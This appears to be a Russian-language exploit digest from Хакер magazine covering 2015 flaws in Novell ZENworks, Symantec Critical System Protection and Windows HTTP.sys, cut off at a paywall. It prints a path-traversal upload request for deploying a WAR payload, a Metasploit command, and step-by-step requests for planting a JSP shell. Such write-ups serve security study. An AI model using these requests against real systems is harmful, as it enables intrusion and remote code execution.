Сегодня мы с тобой разберем уязвимости в приложениях на Java известных производителей. Одна из софтин помогает защищать свои системы от атак, но при этом сама стала местом для проникновения в сеть компании. И конечно, мы не могли обойти стороной уязвимость в HTTP.sys.

 

Произвольная загрузка файлов в Novell ZENworks

CVSSv2

N/A

BRIEF

Дата релиза: 8 мая 2015 года
Автор: Pedro Ribeiro
CVE: 2015-0779

Начнем с уязвимости в Novell ZENworks Configuration Management (ZCM, часть ZENworks Suite). Уязвим UploadServlet — через него доступна неавторизованная загрузка файлов без проверки параметра uid на символы перехода по директориям (../). Это позволяет атакующему сохранить файл в любое место на сервере или разместить WAR-файл в директории Tomcat для веб-приложений. WAR — это Web Archive или Web Application Archive, формат файла, описывающий, как полное веб-приложение пакуется в соответствии со спецификацией Java-сервлетов в файл в формате JAR или ZIP. Примерное содержимое простого WAR:

/index.html
/guestbook.jsp
/images/logo.png
/WEB-INF/web.xml
/WEB-INF/classes/org/wikipedia/Util.class
/WEB-INF/classes/org/wikipedia/MainServlet.class
/WEB-INF/lib/util.jar
/META-INF/MANIFEST.MF

EXPLOIT

Эксплуатация проста: отправляем полезную нагрузку в виде WAR-файла, используя такой запрос:

POST /zenworks/UploadServlet?uid=../../../opt/novell/zenworks/share/tomcat/webapps/&filename=payload.war

Одновременно с релизом уязвимости автор опубликовал и модуль для Metasploit.

msf exploit(zenworks_configuration_management_upload) > rexploit

Это уже не первая подобная уязвимость в ZCM. Ранее схожая ошибка, ZDI-10-078/OSVDB-63412, нашлась в другом сервлете.

TARGETS

ZENworks Configuration Management <= 11.3.1.

SOLUTION

Есть исправление от производителя. Однако пробная версия на момент написания статьи до сих пор уязвима, и автор уязвимости не упомянут в патче.

 

Удаленное выполнение кода в Symantec Critical System Protection

CVSSv2

9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

BRIEF

Дата релиза: 5 мая 2015 года
Автор: Balint Varga-Perke
CVE: 2014-3440

Symantec Critical System Protection предназначен для обнаружения угроз и предотвращения вторжений как на серверы, так и на обычные компьютеры компании, включая не только физические, но и виртуальные системы. В числе прочего в это ПО входит система управления различными серверными компонентами и компоненты-агенты, которые служат для поддержания политик безопасности.

В одном из таких агентов, sis-agent (агент управления интерфейсом сервера SCSP), и была найдена уязвимость. Она позволяет неавторизованному атакующему удаленно выполнить произвольный код. Этот интерфейс используется агентами IDS/IPS для взаимодействия с сервером SCSP: регистрации, оповещения об обновлениях политик, событиях и так далее. Поскольку все защищаемые хосты должны взаимодействовать с SCSP, то этот интерфейс будет доступен большому количеству машин.

Проблема заключается в том, что SCSP недостаточно корректно проверяет основную массу полученных логов. Благодаря этому агенты и атакующие, представившиеся агентом, могут загрузить произвольный файл на компьютер пользователя. Поместив файл JSP в одну из нескольких корневых директорий веб-приложения на базе Tomcat из Server package, можно открыть интерактивную командную оболочку.

Уязвимый код находится в классе BulklogHandler приложения sis-agent. Этот агент использует свой собственный HTTP(S)-wrapped протокол, который похож на стандартный многослойный POST-запрос. В этом протоколе тело HTTP-запроса разбивается на несколько частей. Каждая часть начинается с простого заголовка, в котором описывается тип (текст, XML, бинарный) и ее размер (в байтах и без заголовка). Помимо этого, она содержит свойства приложения (Properties). В случае типа «обычный текст», свойство — это пара ключ — значение. Тело каждого запроса (или ответа) заканчивается строкой, содержащей EOF_FLAG. Каждая строка запроса заканчивается ASCII-символом 0x0A. Ниже представлен пример тела запроса.

```
Data-Format=text/plain
Data-Type=properties
Data-Length=410

agent.name=TEST12345678
agent.hostname=TEST12345678
agent.version=5.2.9.37
agent.initial.group=
agent.config.initial.group=
config.initial.group=
ids.policy.initial.group=Windows
ids.config.initial.group=
agent.ostype=windows
agent.osversion=7 Service Pack 1
agent.osdescription=
agent.charset=UTF-8
agent.features=PD
agent.domain.name=
polling.interval=300
tcp.enabled=true
tcp.port=2222
agent.timezone=+120

EOF_FLAG
```

Интерфейс агента зависит от технологии Java Servlet. Пользовательские запросы направляются через несколько классов, которые обрабатывают входящие параметры. Основной алгоритм взаимодействия агента как раз и реализован в нескольких классах-обработчиках. В случае с классом BulklogHandler пользовательский запрос вначале обрабатывается с помощью метода handleRequest(), который, в свою очередь, вызывает метод logFile() для каждого «свойства» части запроса.

...
// JAD decompiled code snippet
private void logFile(Properties prop, byte data[], boolean repeat) throws Exception{
    String filename;
    File file;
    FileOutputStream fout;
    filename = prop.getProperty("file.name");
    file = getBulkLogFile(filename);
    fout = null;
    fout = new FileOutputStream(file);
    fout.write(data);
    fout.flush();
...

Первый параметр в методе содержит полученные параметры из запроса. Второй — соответствующую двоичную часть. Далее вызывается метод getBulLogFile() для получения соответствующего объекта дескриптора файла.

...
// JAD decompiled code snippet
private File getBulkLogFile(String filename)
{
    File file;
    String agentName = null;
    int index = filename.indexOf('.', 24);
    if(index > 0)
        agentName = filename.substring(24, index);
    else
        agentName = filename.substring(24);
    String date = mFormat.format(mParser.parse(filename.substring(0, 8)));
    String parentFolder = (new StringBuilder()).append(SisProperties.getBulkLogDir()).append(FILE_SEP).append(agentName).append(FILE_SEP).append(date).toString();
    File parent = new File(parentFolder);
    if(!parent.isDirectory())
        parent.delete();
    parent.mkdirs();
    file = new File(parentFolder, filename);
    return file;
    Throwable th;
    th;
    throw new IllegalArgumentException((new StringBuilder()).append("Corrupted bulk log filename [").append(filename).append("]!!").toString(), th);
}
...

Этот метод вначале пробует определить имя агента, получив подстроку от 24-го символа до первой точки. Он обрабатывает первые восемь символов из переданного filename как дату. Далее загруженный файл будет помещен в свою собственную директорию (родительскую), ее структура будет выглядеть примерно так:

LOG_ROOT/AGENT_NAME/FORMATTED_DATE

Эта структура создана с помощью вызова parent.mkdirs(). Окончательный вариант дескриптора файла создается из объединения оригинального имени файла и пути к родительской директории.

EXPLOIT

Произвольный файл в системе может быть получен следующим образом.

  • Зарегистрировать агент, используя интерфейс /register, и получить GUID, который будем использовать как идентификатор сессий для следующих этапов.
  • Инициировать загрузку файла с именем агента в виде YYYY-MM-DD/YYYYMMDD, где YYYYMMDD и YYYY-MM-DD — действительные даты. Загрузка файла будет завершена с ошибкой, но соответствующая структура директории создастся. Этот путь понадобится нам для следующего этапа.
  • Инициировать другую загрузку с именем файла для записи произвольного файла в директорию servlet контейнера следующего формата: YYYYMMDD/../../../././././PATH_FROM_TOMCAT. Ну и наиболее очевидный способ использования такой возможности — это загрузить JSP-шелл.

Исходный код эксплойта (в частности, пример запроса регистрации агента) ты можешь скачать из статьи автора. А мы разберем лишь некоторые части. Пример пути запроса, создающего структуру для будущей загрузки шелла:

...19991111est3X1999-11-11/19991111/.4test5test6.jsp
Созданные директории для будущей загрузки JSP-шелла
Созданные директории для будущей загрузки JSP-шелла

Загрузка шелла:

...19991111/../../../././././tomcat/symapps/agent/sis-agent/jspshellS2.jsp
Созданный JSP-шелл в системе
Созданный JSP-шелл в системе

Сам запрос должен состоять из следующих элементов. Заголовок:

req1="""POST /sis-agent/"""+action+""" HTTP/1.1
Host: """+host+"""
Accept: */*
Appfire-Format-Version: 1.0
Content-Type: application/x-appfire
AppFire-Charset: UTF-8
AppFire-GUID: """+guid+"""
Content-Length: """+str(len(body))+"""
  • action — здесь у нас должна быть строка bulk-log;
  • guid — полученный GUID агента после регистрации;
  • str(len(body)) — размер запроса.

Свойства (Properties):

headers="Data-Format=text/plain\x0aData-Type=properties\x0aData-Length=%d\x0a\x0a" % (len(properties))

В качестве значения следующая строка:

"file.name":имя_нашего_файла

Бинарная часть:

headers="Data-Format=binary/zip\x0aData-Type=policy\x0aData-Length=%d\x0a\x0a" % (len(bin))

JSP-шелл ты можешь взять из известного фреймворка Metasploit. Только не забудь, что имя статически прописано в скрипт jspshell.jsp. В противном случае замени его имя сам в файле update.py.

Кроме основной уязвимости, автор обнаружил небольшую странность, которую не посчитали уязвимостью. Если вкратце, то интерфейс управления SCSP позволяет подключаться к различным серверам, а список серверов может быть изменен без аутентификации. Такая странность позволяет атакующему заменить адрес настоящего сервера на свой собственный и ждать авторизации администратора.

Автор эксплойта записал и два небольших видео с демонстрацией описанных выше уязвимостей, ссылки на которые он опубликовал на своем сайте.

TARGETS

Symantec Critical System Protection Server <= 5.2.9.

SOLUTION

Есть исправление от производителя.

 

Ошибка в обработке HTTP-запроса в Windows (HTTP.sys)

CVSSv2

10.0 (Av:R/Ac:L/A:N/C:C/I:C/A:C)

BRIEF

Дата релиза: 15 апреля 2015 года
Автор: Citrix, Mike Czumak, Jack Tang
CVE: 2015-1635

Закончим обзор нашумевшей уязвимостью в http.sys из нашей горячо любимой Windows. В комментариях к публикации о ней на Хабрахабре было одно слово, означающее предмет для просеивания муки. После апрельского патча (в частности, MS15-034) обнаружили следующее: в http.sys есть целочисленное переполнение, которое может привести к удаленному выполнению кода в системе. В результате мы имеем эксплойты, которые позволяют с легкостью вызвать DoS сервера или в некоторых случаях утечку информации. Что, возможно, ставит эту уязвимость на один уровень с уже описанной нами ранее Heartbleed. В основном это, конечно, касается серверных редакций Windows, но некоторые последние версии пользовательской винды тоже могут открывать HTTP-порты, что делает их уязвимыми.

Архитектура IIS
Архитектура IIS

В качестве тестовой среды автор использует Windows 8.1 x86 и IIS (Internet Information Service) 8.5. После установки IIS (примерная архитектура представлена на одном из скриншотов) в систему у нас появляется соответствующий сервис с именем World Wide Web Publishing Service (для удобства сократим до WWW). Когда клиент отправляет запрос HTTP к нашей системе, запускается WWW или выбирается рабочий процесс (w3wp.exe). Тот использует http.sys для различных задач, связанных с обработкой протокола HTTP, и, помимо обычного парсинга запроса, включает в себя и функцию создания ответа, а также кеширование содержимого. В свою очередь, http.sys получает HTTP-запросы и отправляет HTTP-ответы с помощью tcpip.sys.

Как же мы можем совершить DoS-атаку на нужный нам сервер?

После установки указанного выше ПО у нас появится стартовая страница iisstart.htm (размер файла 694 байта). Наш запрос будет следующим:

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


Комментарии

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

В Foxit Reader обнаружены две 0-day уязвимости

В популярном приложении для работы с PDF-файлами, Foxit Reader, обнаружили сразу двери кри…